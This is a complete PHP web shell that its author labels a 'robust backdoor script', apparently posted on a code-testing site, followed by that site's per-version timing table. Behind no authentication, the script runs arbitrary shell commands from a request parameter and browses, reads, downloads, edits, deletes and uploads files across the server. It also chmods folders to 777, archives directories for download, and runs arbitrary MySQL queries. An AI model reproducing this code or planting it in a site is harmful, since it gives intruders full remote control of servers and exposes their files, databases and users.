@ 2014-01-15T12:07:44Z <?php
// A robust backdoor script made by Daniel Berliner - http://www.qsdconsulting.com/ [3-15-2011]
// This code is public domain and may be used in part or in full for any legal purpose. I would still appreciate a mention though :).
function isLinux($path)
{
return (substr($path,0,1)=="/" ? true : false);
}
function getSlashDir($isLinux)
{
return($isLinux ? '/' : '\\');
}
//See if we are on Linux or Windows becuase the paths have to be processed differently
$cwd=getcwd();
$isLinux=isLinux($cwd);
if(!$isLinux)
{
$driveLetter=substr($cwd,0,1);
}
$slash=getSlashDir($isLinux);
$parts=explode($slash,$cwd);
$rootDir=($isLinux ? $slash : ($driveLetter . ':' . $slash));
function cleanPath($path,$isLinux)
{
$slash=getSlashDir($isLinux);
$parts=explode($slash,$path);
foreach($parts as $key=>$val)//Process .. directories and a single .
{
if($val=="..")
{
$parts[$key]="";
$lastKey=$key-1;
$parts[$lastKey]="";
}
elseif($val==".")
{
$parts[$key]="";
}
}
reset($parts);
$fixedPath=($isLinux ? "/" : "");//Some PHP configs wont automatically create a variable on .= or will at least whine about it
$firstPiece=true;
foreach($parts as $val)//Assemble the path back together
{
if($val != "")
{
$fixedPath .= ($firstPiece ? '' : $slash) . $val;
$firstPiece=false;
}
}
if($fixedPath=="")//If we took out the entire path go to bottom level to avoid an error
{
$fixedPath=($isLinux ? $slash : ($driveLetter . ":" . $slash));
}
//Make sure there is an ending slash
if(substr($fixedPath,-1)!=$slash)
$fixedPath .= $slash;
return $fixedPath;
}
if(isset($_REQUEST['chm']))
{
if(!$isLinux)
{
echo "This feature only works on Linux";
}
else
{
echo (@chmod ( $_REQUEST['chm'] , 0777 ) ? "Reassigned" : "Can't Reasign");
}
}
elseif(isset($_REQUEST['phpinfo']))
{
phpinfo();
}
elseif(isset($_REQUEST['dl']))
{
if(@fopen($_REQUEST['dl'] . $_REQUEST['file'],'r')==true)
{
$_REQUEST['dl'] .= $_REQUEST['file'];
if(substr($_REQUEST['dl'],0,1)==$slash)
$fileArr=explode($slash,$_REQUEST['dl']);
header('Content-disposition: attachment; filename=' . $_REQUEST['file']);
header('Content-type: application/octet-stream');
readfile($_REQUEST['dl']);
}
else
{
echo $_REQUEST['dl'];
}
}
elseif(isset($_REQUEST["gz"]))
{
if(!$isLinux)
{
echo "This feature only works on Linux";
}
else
{
$directory=$_REQUEST["gz"];
if(substr($directory,-1)=="/")
$directory = substr($directory,0,-1);
$dirParts=explode($slash,$directory);
$fname=$dirParts[(sizeof($dirParts)-1)];
$archive = time();
exec( "cd $directory; tar czf $archive *");
$output=@file_get_contents($directory . "/" . $archive);
if(!$output)
header("Content-disposition: attachment; filename=ACCESS_PROBLEM");
else
{
header("Content-disposition: attachment; filename=$fname.tgz");
echo $output;
}
header('Content-type: application/octet-stream');
@unlink($directory . "/" . $archive);
}
}
elseif(isset($_REQUEST['f']))
{
$filename=$_REQUEST['f'];
$file=fopen("$filename","rb");
header("Content-Type: text/plain");
fpassthru($file);
}
elseif(isset($_REQUEST['d']))
{
$d=$_REQUEST['d'];
echo "<pre>";
if ($handle = opendir("$d"))
{
echo "<h2>listing of ";
$conString="";
if($isLinux)
echo "<a href='?d=$slash'>$slash</a>";
foreach(explode($slash,cleanPath($d,$isLinux)) as $val)
{
$conString .= $val . $slash;
echo "<a href='?d=$conString'>" . $val . "</a>" . ($val != "" ? $slash : '');
}
echo " (<a target='_blank' href='?uploadForm=1&dir=" . urlencode(cleanPath($d,$isLinux)) . "'>upload file</a>) (<a href='?d=" . urlencode(cleanPath($d,$isLinux)) . "&hldb=1'>DB interaction files in red</a>)</h2> (<a target='_blank' href='?gz=" . urlencode(cleanPath($d,$isLinux)) . "'>gzip & download folder</a>) (<a target='_blank' href='?chm=" . urlencode(cleanPath($d,$isLinux)) . "'>chmod folder to 777)</a> (these rarely work)<br />";
while ($dir = readdir($handle))
{
if (is_dir("$d$slash$dir"))
{
if($dir != "." && $dir !="..")
$dirList[]=$dir;
}
else
{
if(isset($_REQUEST["hldb"]))
{
$contents=file_get_contents("$d$slash$dir");
if (stripos($contents, "mysql_") || stripos($contents, "mysqli_") || stripos($contents, "SELECT "))
{
$fileList[]=array('dir'=>$dir,'color'=>'red');
}
else
{
$fileList[]=array('dir'=>$dir,'color'=>'black');
}
}
else
{
$fileList[]=array('dir'=>$dir,'color'=>'black');
}
}
}
echo "<a href='?d=$d$slash.'><font color=grey>.\n</font></a>";
echo "<a href='?d=$d$slash..'><font color=grey>..\n</font></a>";
//Some configurations throw a notice if is_array is tried with a non-existant variable
if(isset($dirList))
if(is_array($dirList))
foreach($dirList as $dir)
{
echo "<a href='?d=$d$slash$dir'><font color=grey>$dir\n</font></a>";
}
if(isset($fileList))
if(is_array($fileList))
foreach($fileList as $dir)
{
echo "<a href='?f=$d" . $slash . $dir['dir'] . "'><font color=" . $dir['color'] . ">" . $dir['dir'] . "</font></a>" .
"|<a href='?dl=" . cleanPath($d,$isLinux) . '&file=' .$dir["dir"] . "' target='_blank'>Download</a>|" .
"|<a href='?ef=" . cleanPath($d,$isLinux) . '&file=' .$dir["dir"] . "' target='_blank'>Edit</a>|" .
"|<a href='?df=" . cleanPath($d,$isLinux) . '&file=' .$dir["dir"] . "' target='_blank'>Delete</a>| \n";
}
}
else
echo "opendir() failed";
closedir($handle);
}
elseif(isset($_REQUEST['c']))
{
if( @ini_get('safe_mode') )
{
echo 'Safe mode is on, the command is by default run though escapeshellcmd() and can only run programms in safe_mod_exec_dir (' . @ini_get('safe_mode_exec_dir') . ') <br />';
}
echo "<b>Command: <I>" . $_REQUEST['c'] . "</I></b><br /><br />";
trim(exec($_REQUEST['c'],$return));
foreach($return as $val)
{
echo '<pre>' . htmlentities($val) . '</pre>';
}
}
elseif(isset($_REQUEST['uploadForm']) || isset($_FILES["file_name"]))
{
if(isset($_FILES["file_name"]))
{
if ($_FILES["file_name"]["error"] > 0)
{
echo "Error";
}
else
{
$target_path = $_COOKIE["uploadDir"];
if(substr($target_path,-1) != "/")
$target_path .= "/";
$target_path = $target_path . basename( $_FILES['file_name']['name']);
if(move_uploaded_file($_FILES['file_name']['tmp_name'], $target_path)) {
setcookie("uploadDir","");
echo "The file ". basename( $_FILES['file_name']['name']).
" has been uploaded";
}
else
{
echo "Error copying file, likely a permission error.";
}
}
}
else
{
?>
<form target="_blank" action="" method="GET">
<input type="hidden" name="cc" value="1" />
Submit this form before submitting file (will open in new window):<br />
Upload Directory: <input type="text" name="dir" value="<?php echo $_REQUEST["dir"] ?>"><br />
<input type="submit" value="submit" />
</form>
<br /><br />
<form enctype="multipart/form-data" action="" method="post">
Upload file:<input name="file_name" type="file"> <input type="submit" value="Upload" /></form>
<?php
}
}
elseif(isset($_REQUEST['cc']))
{
setcookie("uploadDir",$_GET["dir"]);
echo "You are OK to upload the file, don't upload files to other directories before completing this upload.";
}
elseif(isset($_REQUEST['mquery']))
{
$host=$_REQUEST['host'];
$usr=$_REQUEST['usr'];
$passwd=$_REQUEST['passwd'];
$db=$_REQUEST['db'];
$mquery=$_REQUEST['mquery'];
@mysql_connect($host, $usr, $passwd) or die("Connection Error: " . mysql_error());
mysql_select_db($db);
$result = mysql_query($mquery);
if($result!=false)
{
echo "<h2>The following query has sucessfully executed</h2>" . htmlentities($mquery) . "<br /><br />";
echo "Return Results:<br />";
$first=true;
echo "<table border='1'>";
while ($row = mysql_fetch_array($result,MYSQL_ASSOC))
{
if($first)
{
echo "<tr>";
foreach($row as $key=>$val)
{
echo "<td><b>$key</b></td>";
}
echo "</tr>";
reset($row);
$first=false;
}
echo "<tr>";
foreach($row as $val)
{
echo "<td>$val</td>";
}
echo "</tr>";
}
echo "</table>";
mysql_free_result($result);
}
else
{
echo "Query Error: " . mysql_error();
}
}
elseif(isset($_REQUEST['df']))
{
$_REQUEST['df'] .= $slash . $_REQUEST['file'];
if(@unlink($_REQUEST['df']))
{
echo "File deleted";
}
else
{
echo "Error deleting file";
}
}
elseif(isset($_REQUEST['ef']))
{
?>
<script type="text/javascript">
<!--
var key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function encode64(inpStr)
{
inpStr = escape(inpStr);
var output = "";
var chr1, chr2, chr3 = "";
var enc1, enc2, enc3, enc4 = "";
var i = 0;
do {
chr1 = inpStr.charCodeAt(i++);
chr2 = inpStr.charCodeAt(i++);
chr3 = inpStr.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2))
{
enc3 = enc4 = 64;
}
else if (isNaN(chr3))
{
enc4 = 64;
}
output = output +
key.charAt(enc1) +
key.charAt(enc2) +
key.charAt(enc3) +
key.charAt(enc4);
chr1 = chr2 = chr3 = enc1 = enc2 = enc3 = enc4 = "";
} while (i < inpStr.length);
return output;
}
//--></script>
<?php
$_REQUEST['ef'] .= $_REQUEST['file'];
if(isset($_POST["newcontent"]))
{
$_POST["newcontent"]=urldecode(base64_decode($_POST["newcontent"]));
$stream=@fopen($_REQUEST['ef'],"w");
if($stream)
{
fwrite($stream,$_POST["newcontent"]);
echo "Write sucessful";
}
else
{
echo "Could not write to file";
}
fclose($stream);
}
?>
<form action="" name="f" method="POST">
<textarea wrap="off" rows="40" cols="130" name="newcontent"><?php echo file_get_contents($_REQUEST['ef']) ?></textarea><br />
<input type="submit" value="I base64 encoded it myself, dont run script" /><br />
<input type="submit" value="Change (requires javascript to work)" onclick="document.f.newcontent.value=encode64(document.f.newcontent.value);" />
</form>
<?php
}
else
{
?>
<b>Server Information:</b><br />
<i>
Operating System: <?php echo PHP_OS ?><br />
PHP Version: <?php echo PHP_VERSION ?><br />
<a href="?phpinfo=true">View phpinfo</a>
</i>
<br />
<br />
<b>Directory Traversal</b><br />
<a href="?d=<?php echo getcwd() ?>"><b>Go to current working directory</b></a> <br />
<a href="?d=<?php echo $rootDir ?>"><b>Go to root directory</b></a> <br />
<b>Go to any directory:</b> <form action="" method="GET"><input type="text" name="d" value="<?php echo $rootDir ?>" /><input type="submit" value="Go" /></form>
<hr>Execute MySQL Query:
<form action="" METHOD="GET" >
<table>
<tr><td>host</td><td><input type="text" name="host"value="localhost"> </td></tr>
<tr><td>user</td><td><input type="text" name="usr" value="root"> </td></tr>
<tr><td>password</td><td><input type="text" name="passwd"> </td></tr>
<tr><td>database</td><td><input type="text" name="db"> </td></tr>
<tr><td valign="top">query</td><td><textarea name="mquery" rows="6" cols="65"></textarea> </td></tr>
<tr><td colspan="2"><input type="submit" value="execute"></td></tr>
</table>
</form>
<hr>
<pre><form action="" METHOD="GET" >Execute Shell Command (safe mode is <?php echo (@ini_get('safe_mode') ? 'on' : 'off') ?>): <input type="text" name="c"><input type="submit" value="Go"></form>
<?php
}
//Intentionally left open to avoid output the file download function 1
Enable javascript to submit You have javascript disabled. You will not be able to edit any code.
Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).
Version System time (s) User time (s) Memory (MiB) 8.0.12 0.000 0.008 13.45 8.0.11 0.012 0.000 13.55 8.0.10 0.009 0.004 13.51 8.0.9 0.013 0.000 13.59 8.0.8 0.004 0.009 13.50 8.0.7 0.010 0.003 13.59 8.0.6 0.010 0.003 13.39 8.0.5 0.013 0.000 13.55 8.0.3 0.011 0.003 13.44 8.0.2 0.010 0.003 13.55 8.0.1 0.010 0.003 13.61 8.0.0 0.000 0.006 13.64 7.4.25 0.012 0.003 13.39 7.4.24 0.014 0.000 13.54 7.4.23 0.005 0.010 13.54 7.4.22 0.007 0.007 13.46 7.4.21 0.004 0.009 13.40 7.4.20 0.010 0.003 13.42 7.4.19 0.011 0.002 13.57 7.4.18 0.009 0.003 13.59 7.4.16 0.004 0.008 13.58 7.4.15 0.012 0.000 13.47 7.4.14 0.007 0.006 13.48 7.4.13 0.013 0.000 13.41 7.4.12 0.010 0.003 13.41 7.4.11 0.004 0.008 13.40 7.4.10 0.013 0.000 13.59 7.4.9 0.009 0.003 13.40 7.4.8 0.008 0.009 14.87 7.4.7 0.010 0.004 14.79 7.4.6 0.011 0.007 14.77 7.4.5 0.009 0.005 14.87 7.4.4 0.010 0.005 14.85 7.4.3 0.010 0.008 14.96 7.4.2 0.009 0.008 14.77 7.4.1 0.009 0.005 14.96 7.4.0 0.010 0.006 14.93 7.3.32 0.014 0.000 13.47 7.3.31 0.012 0.003 13.49 7.3.30 0.014 0.000 13.29 7.3.29 0.012 0.003 13.51 7.3.28 0.010 0.004 13.50 7.3.27 0.004 0.008 13.51 7.3.26 0.008 0.000 13.55 7.3.25 0.008 0.000 13.39 7.3.24 0.006 0.003 13.53 7.3.23 0.004 0.004 13.44 7.3.22 0.004 0.004 13.42 7.3.21 0.006 0.002 13.35 7.3.20 0.010 0.004 14.95 7.3.19 0.005 0.009 14.96 7.3.18 0.008 0.008 14.97 7.3.17 0.003 0.010 14.86 7.3.16 0.006 0.007 14.78 7.3.15 0.004 0.010 15.09 7.3.14 0.000 0.012 14.99 7.3.13 0.009 0.004 14.87 7.3.12 0.003 0.010 14.92 7.3.11 0.003 0.010 14.75 7.3.10 0.009 0.006 14.85 7.3.9 0.009 0.006 15.04 7.3.8 0.007 0.008 14.82 7.3.7 0.005 0.008 14.91 7.3.6 0.010 0.005 15.03 7.3.5 0.010 0.007 15.06 7.3.4 0.012 0.006 15.00 7.3.3 0.010 0.007 15.02 7.3.2 0.005 0.008 15.76 7.3.1 0.012 0.006 15.68 7.3.0 0.011 0.003 15.74 7.2.34 0.003 0.009 13.63 7.2.33 0.010 0.003 13.33 7.2.32 0.007 0.010 15.03 7.2.31 0.015 0.002 15.05 7.2.30 0.013 0.003 15.11 7.2.29 0.006 0.010 14.96 7.2.28 0.008 0.009 14.99 7.2.27 0.013 0.004 14.95 7.2.26 0.007 0.010 14.99 7.2.25 0.012 0.007 15.00 7.2.24 0.012 0.005 14.98 7.2.23 0.010 0.006 14.99 7.2.22 0.012 0.005 15.05 7.2.21 0.012 0.005 14.92 7.2.20 0.005 0.012 15.12 7.2.19 0.012 0.005 15.16 7.2.18 0.015 0.007 14.98 7.2.17 0.011 0.009 15.10 7.2.16 0.014 0.008 15.27 7.2.15 0.009 0.007 15.89 7.2.14 0.007 0.008 16.01 7.2.13 0.006 0.010 15.96 7.2.12 0.006 0.008 16.04 7.2.11 0.005 0.010 15.98 7.2.10 0.005 0.011 16.00 7.2.9 0.012 0.006 15.90 7.2.8 0.015 0.003 15.93 7.2.7 0.008 0.008 15.87 7.2.6 0.009 0.007 16.24 7.2.5 0.010 0.005 15.95 7.2.4 0.010 0.007 15.93 7.2.3 0.011 0.005 15.99 7.2.2 0.009 0.007 15.99 7.2.1 0.012 0.004 16.04 7.2.0 0.006 0.011 17.12 7.1.33 0.017 0.000 14.85 7.1.32 0.011 0.012 14.97 7.1.31 0.008 0.007 15.07 7.1.30 0.006 0.011 15.02 7.1.29 0.018 0.005 14.96 7.1.28 0.018 0.000 14.91 7.1.27 0.012 0.005 15.05 7.1.26 0.008 0.009 14.97 7.1.25 0.007 0.007 14.86 7.1.24 0.013 0.006 14.92 7.1.23 0.009 0.005 14.99 7.1.22 0.007 0.008 15.00 7.1.21 0.017 0.002 14.92 7.1.20 0.010 0.006 15.10 7.1.19 0.008 0.007 15.00 7.1.18 0.008 0.007 14.88 7.1.17 0.008 0.008 15.08 7.1.16 0.010 0.009 15.03 7.1.15 0.009 0.007 14.89 7.1.14 0.009 0.009 14.93 7.1.13 0.014 0.004 14.93 7.1.12 0.029 0.008 14.84 7.1.11 0.010 0.007 14.83 7.1.10 0.006 0.008 15.95 7.1.9 0.017 0.004 14.78 7.1.8 0.025 0.002 14.91 7.1.7 0.009 0.005 15.60 7.1.6 0.011 0.008 16.42 7.1.5 0.015 0.006 15.55 7.1.4 0.013 0.007 14.77 7.1.3 0.013 0.007 15.04 7.1.2 0.009 0.008 14.94 7.1.1 0.011 0.006 14.98 7.1.0 0.007 0.020 17.33 7.0.33 0.009 0.006 14.85 7.0.32 0.013 0.004 14.74 7.0.31 0.010 0.007 14.82 7.0.30 0.009 0.007 14.60 7.0.29 0.014 0.005 14.57 7.0.28 0.012 0.003 14.50 7.0.27 0.012 0.005 14.64 7.0.26 0.009 0.007 14.56 7.0.25 0.013 0.003 14.80 7.0.24 0.007 0.009 14.74 7.0.23 0.018 0.002 14.68 7.0.22 0.013 0.005 14.65 7.0.21 0.009 0.008 14.68 7.0.20 0.008 0.005 15.57 7.0.19 0.012 0.005 14.70 7.0.18 0.013 0.006 14.79 7.0.17 0.010 0.006 14.84 7.0.16 0.006 0.009 14.73 7.0.15 0.008 0.006 14.76 7.0.14 0.007 0.032 17.06 7.0.13 0.010 0.005 14.87 7.0.12 0.011 0.007 14.80 7.0.11 0.012 0.006 14.77 7.0.10 0.014 0.001 14.77 7.0.9 0.011 0.005 14.55 7.0.8 0.022 0.026 16.43 7.0.7 0.008 0.029 16.44 7.0.6 0.011 0.021 16.57 7.0.5 0.021 0.026 16.56 7.0.4 0.009 0.029 16.45 7.0.3 0.010 0.031 16.46 7.0.2 0.010 0.036 16.42 7.0.1 0.013 0.024 16.44 7.0.0 0.009 0.018 16.46 5.6.40 0.010 0.005 14.33 5.6.39 0.008 0.008 14.24 5.6.38 0.007 0.007 14.32 5.6.37 0.010 0.006 14.26 5.6.36 0.010 0.011 14.18 5.6.35 0.013 0.004 14.58 5.6.34 0.008 0.008 14.44 5.6.33 0.014 0.009 14.32 5.6.32 0.017 0.006 14.36 5.6.31 0.009 0.008 14.40 5.6.30 0.008 0.008 14.19 5.6.29 0.007 0.014 14.33 5.6.28 0.011 0.026 16.56 5.6.27 0.008 0.011 14.26 5.6.26 0.012 0.005 14.27 5.6.25 0.010 0.010 14.42 5.6.24 0.010 0.009 14.31 5.6.23 0.007 0.024 16.56 5.6.22 0.015 0.027 16.54 5.6.21 0.014 0.023 16.41 5.6.20 0.009 0.035 16.65 5.6.19 0.008 0.020 16.57 5.6.18 0.007 0.025 16.67 5.6.17 0.012 0.032 16.65 5.6.16 0.009 0.035 16.65 5.6.15 0.004 0.029 16.70 5.6.14 0.008 0.036 16.71 5.6.13 0.014 0.032 16.55 5.6.12 0.014 0.017 16.64 5.6.11 0.010 0.025 16.72 5.6.10 0.011 0.016 16.55 5.6.9 0.010 0.031 16.46 5.6.8 0.007 0.035 16.36 5.6.7 0.007 0.033 16.45 5.6.6 0.012 0.029 16.45 5.6.5 0.008 0.027 16.42 5.6.4 0.009 0.018 16.37 5.6.3 0.009 0.020 16.25 5.6.2 0.007 0.023 16.38 5.6.1 0.013 0.027 16.35 5.6.0 0.010 0.019 16.37 5.5.38 0.011 0.009 14.30 5.5.37 0.011 0.025 16.41 5.5.36 0.008 0.029 16.30 5.5.35 0.009 0.033 16.40 5.5.34 0.010 0.018 16.47 5.5.33 0.010 0.032 16.45 5.5.32 0.013 0.030 16.53 5.5.31 0.008 0.031 16.45 5.5.30 0.009 0.021 16.61 5.5.29 0.009 0.032 16.38 5.5.28 0.009 0.034 16.39 5.5.27 0.008 0.031 16.41 5.5.26 0.012 0.031 16.46 5.5.25 0.012 0.030 16.53 5.5.24 0.013 0.028 16.30 5.5.23 0.009 0.023 16.33 5.5.22 0.012 0.022 16.30 5.5.21 0.010 0.019 16.38 5.5.20 0.011 0.018 16.18 5.5.19 0.008 0.029 16.21 5.5.18 0.013 0.026 16.22 5.5.17 0.010 0.012 14.31 5.5.16 0.007 0.028 16.09 5.5.15 0.007 0.022 16.23 5.5.14 0.009 0.027 16.28 5.5.13 0.008 0.018 16.18 5.5.12 0.011 0.016 16.23 5.5.11 0.013 0.022 16.25 5.5.10 0.011 0.027 16.20 5.5.9 0.010 0.022 16.26 5.5.8 0.009 0.022 16.24 5.5.7 0.012 0.028 16.20 5.5.6 0.011 0.026 16.17 5.5.5 0.009 0.030 16.18 5.5.4 0.005 0.029 16.16 5.5.3 0.014 0.028 16.17 5.5.2 0.008 0.025 16.13 5.5.1 0.010 0.030 16.09 5.5.0 0.008 0.028 16.16 5.4.45 0.011 0.021 14.83 5.4.44 0.009 0.034 14.85 5.4.43 0.008 0.029 14.94 5.4.42 0.012 0.028 14.96 5.4.41 0.014 0.024 14.86 5.4.40 0.010 0.016 14.78 5.4.39 0.011 0.022 14.72 5.4.38 0.008 0.032 14.72 5.4.37 0.016 0.030 14.88 5.4.36 0.005 0.029 14.71 5.4.35 0.011 0.015 14.72 5.4.34 0.011 0.022 14.72 5.4.33 0.007 0.012 12.73 5.4.32 0.005 0.026 14.84 5.4.31 0.008 0.015 14.84 5.4.30 0.007 0.018 14.86 5.4.29 0.009 0.021 14.74 5.4.28 0.007 0.018 14.63 5.4.27 0.011 0.029 14.87 5.4.26 0.007 0.024 14.67 5.4.25 0.010 0.025 14.65 5.4.24 0.012 0.014 14.83 5.4.23 0.005 0.033 14.79 5.4.22 0.005 0.033 14.62 5.4.21 0.011 0.022 14.68 5.4.20 0.009 0.027 14.79 5.4.19 0.008 0.029 14.66 5.4.18 0.009 0.016 14.69 5.4.17 0.008 0.016 14.72 5.4.16 0.005 0.019 14.67 5.4.15 0.011 0.026 14.90 5.4.14 0.005 0.031 14.01 5.4.13 0.007 0.018 13.99 5.4.12 0.006 0.025 13.88 5.4.11 0.010 0.019 13.91 5.4.10 0.011 0.023 14.02 5.4.9 0.008 0.018 13.99 5.4.8 0.010 0.028 13.97 5.4.7 0.008 0.029 14.03 5.4.6 0.005 0.029 13.99 5.4.5 0.009 0.028 13.95 5.4.4 0.007 0.028 13.96 5.4.3 0.006 0.030 14.03 5.4.2 0.008 0.026 14.06 5.4.1 0.009 0.029 13.96 5.4.0 0.007 0.027 13.69 5.3.29 0.006 0.021 13.79 5.3.28 0.009 0.027 13.57 5.3.27 0.010 0.019 13.75 5.3.26 0.006 0.019 13.70 5.3.25 0.007 0.030 13.67 5.3.24 0.004 0.032 13.60 5.3.23 0.004 0.020 13.65 5.3.22 0.002 0.027 13.51 5.3.21 0.005 0.031 13.56 5.3.20 0.009 0.026 13.52 5.3.19 0.006 0.034 13.67 5.3.18 0.009 0.026 13.79 5.3.17 0.010 0.019 13.58 5.3.16 0.007 0.024 13.67 5.3.15 0.015 0.028 13.77 5.3.14 0.004 0.026 13.59 5.3.13 0.007 0.023 13.60 5.3.12 0.008 0.024 13.68 5.3.11 0.006 0.035 13.65 5.3.10 0.004 0.031 13.50 5.3.9 0.008 0.018 13.54 5.3.8 0.005 0.018 13.47 5.3.7 0.006 0.032 13.35 5.3.6 0.008 0.027 13.52 5.3.5 0.007 0.024 13.32 5.3.4 0.005 0.023 13.44 5.3.3 0.009 0.024 13.58 5.3.2 0.003 0.018 13.45 5.3.1 0.005 0.017 13.18 5.3.0 0.008 0.015 13.33
preferences:dark mode live preview
31.46 ms | 400 KiB | 5 Q